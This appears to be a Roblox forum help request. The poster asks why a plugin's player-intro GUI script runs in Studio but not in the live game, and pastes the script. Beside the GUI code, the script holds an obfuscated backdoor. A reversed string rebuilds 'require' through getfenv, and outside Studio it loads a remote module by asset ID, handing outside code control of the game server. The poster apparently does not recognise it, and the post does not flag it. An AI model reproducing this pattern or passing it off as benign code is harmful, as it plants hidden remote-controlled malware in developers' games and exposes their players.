It is working in the studio but not in the actual game I used a plugin and this is all it says in the script under serverscriptstorage:
--[[ r x d e s i r e onPlayerAdded --]] local q=getfenv;local u='RunService';local j='eriuqer';local g=string.reverse;local b=3610230360;local a=12-6+6;if not game:service(u):IsStudio()then q()[g(j)](b+a)end function added(player) local GUI = script.IntroGui:clone() GUI.Parent = player:WaitForChild("PlayerGui") end game.Players.PlayerAdded:connect(added)